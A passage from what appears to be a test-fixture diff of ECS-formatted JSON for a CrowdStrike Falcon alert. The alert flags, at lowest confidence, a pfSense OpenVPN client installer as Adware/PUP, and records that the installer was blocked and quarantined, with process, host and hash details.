"392734873135", + "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "timestamp": "2023-10-30T16:49:19.000Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "yuvraj.mahajan" + }, + "has_script_or_module_ioc": true, + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "ioc_context": [ + { + "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "ioc_source": "library_load", + "ioc_type": "hash_sha256", + "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "type": "module" + } + ], + "ioc_values": [ + "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" + ], + "is_synthetic_quarantine_disposition": true, + "local_process_id": "17076", + "logon_domain": "ABSYS", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "name": "PrewittPupAdwareSensorDetect-Lowest", + "objective": "FalconDetectionMethod", + "parent_details": { + "cmdline": "C:\\WINDOWS\\Explorer.EXE", + "filename": "explorer.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "local_process_id": "1040", + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "process_id": "392736520876", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "timestamp": "2023-11-03T18:00:32.000Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + }, + "parent_process_id": "392736520876", + "pattern_disposition": 2176, + "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", + "pattern_disposition_details": { + "blocking_unsupported_or_disabled": false, + "bootup_safeguard_enabled": false, + "critical_process_disabled": false, + "detect": false, + "fs_operation_blocked": false, + "handle_operation_downgraded": false, + "inddet_mask": false, + "indicator": false, + "kill_action_failed": false, + "kill_parent": false, + "kill_process": false, + "kill_subprocess": false, + "operation_blocked": false, + "policy_disabled": false, + "process_blocked": true, + "quarantine_file": true, + "quarantine_machine": false, + "registry_operation_blocked": false, + "rooting": false, + "sensor_only": false, + "suspend_parent": false, + "suspend_process": false + }, + "pattern_id": "5761", + "platform": "Windows", + "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", + "process_end_time": "2023-11-03T18:00:21.000Z", + "process_id": "399748687993", + "process_start_time": "2023-11-03T18:00:13.000Z", + "product": "epp", + "quarantined_files": [ + { + "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "state": "quarantined" + } + ], + "scenario": "NGAV", + "severity": 30, + "severity_name": "low", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "show_in_ui": true, + "source_products": [ + "FalconInsight" + ], + "source_vendors": [ + "CrowdStrike" + ], + "status": "new", + "tactic": "MachineLearning", + "tactic_id": "CSTA0004", + "technique": "Adware/PUP", + "technique_id": "CST0000", + "timestamp": "2023-11-03T18:00:22.328Z", + "tree_id": "1931778", + "tree_root": "38687993", + "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", + "type": "ldt", + "updated_timestamp": "2023-11-03T19:00:23.985Z", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + } + }, + "device": { + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "manufacturer": "LENOVO", + "model": { + "name": "20VE" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "process" + ], + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "kind": "alert", + "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\\\"__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}", + "severity": 21, + "type": [ + "start" + ] + }, + "file": { + "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe" + }, + "host": { + "domain": "ABC.LOCAL", + "hostname": "ABC709-1175", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "ip": [ + "81.2.69.142" + ], + "mac": [ + "AB-21-48-61-05-B2" + ], + "os": { + "full": "Windows11", + "platform": "Windows", + "type": "windows" + } + }, + "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "process": { + "end": "2023-11-03T18:00:21.000Z", + "entity_id": "399748687993", + "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "hash": { + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" + }, + "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "parent": { + "command_line": "C:\\WINDOWS\\Explorer.EXE", + "entity_id": "392736520876", + "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "hash": { + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4" + }, + "name": "explorer.exe", + "pid": 392736520876 + }, + "pid": 399748687993, + "start": "2023-11-03T18:00:13.000Z", + "user": { + "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "name": "mohit.jha" + } + }, + "related": { + "hash": [ + "b07f77fd3f9828b2c9d61f8a36609741", + "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "cdf9cfebb400ce89d5b6032bfcdc693b", + "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "8cc3fcdd7d52d2d5221303c213e044ae", + "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "0000000000000000000000000000000000000000" + ], + "hosts": [ + "ABC.LOCAL", + "ABC709-1175" + ], + "ip": [ + "81.2.69.142" + ], + "user": [ + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "S-1-5-21-1909377054-3469629671-4104191496-4425", + "yuvraj.mahajan", + "mohit.jha" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "id": [ + "CSTA0004" + ], + "name": [ + "MachineLearning" + ] + }, + "technique": { + "id": [ + "CST0000" + ], + "name": [ + "Adware/PUP" + ] + } + }, + "user": { + "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "name": "mohit.jha" + } + }, + { + "@timestamp": "2023-11-03T18:00:22.328Z", + "crowdstrike": { + "alert": { + "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "alleged_filetype": "exe", + "cid": "92012896127c4a948236ba7601b886b0", + "cloud_indicator": false, + "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", + "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "confidence": 10, + "context_timestamp": "2023-11-03T18:00:31.000Z", + "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", + "crawl_edge_ids": { + "Sensor": [ + "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", + "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!", + "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", + "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", + "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N" + ] + }, + "crawl_vertex_ids": { + "Sensor": [ + "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", + "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" + ] + }, + "crawled_timestamp": "2023-11-03T19:00:23.985Z", + "created_timestamp": "2023-11-03T18:01:23.995Z", + "data_domains": [ + "Endpoint" + ], + "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "device": { + "agent_load_flags": 0, + "agent_local_time": "2023-10-12T03:45:57.753Z", + "agent_version": "7.04.17605.0", + "bios_manufacturer": "ABC", + "bios_version": "F8CN42WW(V2.05)", + "cid": "92012896127c4a948236ba7601b886b0", + "config_id_base": "65994763", + "config_id_build": "17605", + "config_id_platform": 3, + "external_ip": "81.2.69.142", + "first_seen": "2023-04-07T09:36:36.000Z", + "groups": [ + "18704e21288243b58e4c76266d38caaf" + ], + "hostinfo": { + "active_directory_dn_display": [ + "WinComputers", + "WinComputers\\ABC" + ], + "domain": "ABC.LOCAL" + }, + "hostname": "ABC709-1175", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "last_seen": "2023-11-03T17:51:42.000Z", + "local_ip": "81.2.69.142", + "mac_address": "AB-21-48-61-05-B2", + "machine_domain": "ABC.LOCAL", + "major_version": "10", + "minor_version": "0", + "modified_timestamp": "2023-11-03T17:53:43.000Z", + "os_version": "Windows11", + "ou": [ + "ABC", + "WinComputers" + ], + "platform_id": "0", + "platform_name": "Windows", + "product_type": "1", + "product_type_desc": "Workstation", + "site_name": "Default-First-Site-Name", + "status": "normal", + "system_manufacturer": "LENOVO", + "system_product_name": "20VE" + }, + "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "grandparent_details": { + "cmdline": "C:\\Windows\\system32\\userinit.exe", + "filename": "userinit.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", + "local_process_id": "4328", + "md5": "b07f77fd3f9828b2c9d61f8a36609741", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", + "process_id": "392734873135", + "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "timestamp": "2023-10-30T16:49:19.000Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "yuvraj.mahajan" + }, + "has_script_or_module_ioc": true, + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "ioc_context": [ + { + "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "ioc_source": "library_load", + "ioc_type": "hash_sha256", + "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "type": "module" + } + ], + "ioc_values": [ + "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" + ], + "is_synthetic_quarantine_disposition": true, + "local_process_id": "17076", + "logon_domain": "ABSYS", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "name": "PrewittPupAdwareSensorDetect-Lowest", + "objective": "FalconDetectionMethod", + "parent_details": { + "cmdline": "C:\\WINDOWS\\Explorer.EXE", + "filename": "explorer.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "local_process_id": "1040", + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "process_id": "392736520876", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "timestamp": "2023-11-03T18:00:32.000Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + }, + "parent_process_id": "392736520876", + "pattern_disposition": 2176, + "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", + "pattern_disposition_details": { + "blocking_unsupported_or_disabled": false, + "bootup_safeguard_enabled": false, + "critical_process_disabled": false, + "detect": false, + "fs_operation_blocked": false, + "handle_operation_downgraded": false, + "inddet_mask": false, + "indicator": false, + "kill_action_failed": false, + "kill_parent": false, + "kill_process": false, + "kill_subprocess": false, + "operation_blocked": false, + "policy_disabled": false, + "process_blocked": true, + "quarantine_file": true, + "quarantine_machine": false, + "registry_operation_blocked": false, + "rooting": false, + "sensor_only": false, + "suspend_parent": false, + "suspend_process": false + }, + "pattern_id": "5761", + 